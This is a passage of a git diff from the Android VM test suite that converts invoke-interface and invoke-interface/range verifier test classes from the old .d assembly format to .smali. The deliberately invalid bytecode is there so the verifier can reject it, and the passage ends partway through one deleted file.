diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali
new file mode 100644
index 0000000..053b5cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_3.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       const/4 v1, 0
+       invoke-interface {v1}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
\ No newline at end of file
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.d
deleted file mode 100644
index a8de67b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_4.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       invoke-interface {v7}, dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4/test()V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.smali
new file mode 100644
index 0000000..bb3a0b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_4;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_4;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.d
deleted file mode 100644
index adf7abe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.d
+++ /dev/null
@@ -1,28 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_5.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_5
-.super java/lang/Object
-
-
-.method public <init>(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 2
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       
-        invoke-interface {}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali
new file mode 100644
index 0000000..3f77d2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali
@@ -0,0 +1,28 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_5.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 2
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       
+        invoke-interface {}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.d
deleted file mode 100644
index c96f200..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_7.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 5
-
-       invoke-interface {v4}, dot/junit/opcodes/invoke_interface/ITest/doitN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali
new file mode 100644
index 0000000..269cb9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_7.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doitN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.d
deleted file mode 100644
index 8bf956e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_8.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v8, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali
new file mode 100644
index 0000000..3a8b70a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_8.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v8, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.d
deleted file mode 100644
index 2fc4a90..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_9.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v6}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali
new file mode 100644
index 0000000..6c748d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_9.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.d
deleted file mode 100644
index 70fee02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_1.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali
new file mode 100644
index 0000000..1627268
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.d
deleted file mode 100644
index d78f6c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_10.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-       const v6, 1243
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali
new file mode 100644
index 0000000..3e94fd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+       const v6, 1243
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.d
deleted file mode 100644
index d0fe868..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_11.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       invoke-interface/range {v4}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali
new file mode 100644
index 0000000..246e92b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.d
deleted file mode 100644
index 7463912..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_12.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 5
-
-       invoke-interface/range {v4}, dot/junit/opcodes/invoke_interface_range/ITest/doitNative()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali
new file mode 100644
index 0000000..fac5097
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doitNative()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.d
deleted file mode 100644
index 4b0ea65..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_13.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_13
-.super dot/junit/opcodes/invoke_interface_range/ITestImplAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_interface_range/ITestImplAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 7
-
-       invoke-interface/range {v6}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali
new file mode 100644
index 0000000..fd0b385
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13;
+.super  Ldot/junit/opcodes/invoke_interface_range/ITestImplAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_interface_range/ITestImplAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 7
+
+       invoke-interface/range {v6}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.d
deleted file mode 100644
index ce6cd80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.d
+++ /dev/null
@@ -1,55 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_14.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)I
-.limit regs 9
-    const v1, 123
-    const v2, 345
-
-    const v4, 64
-    const v5, 2
-    move-object v3, v8
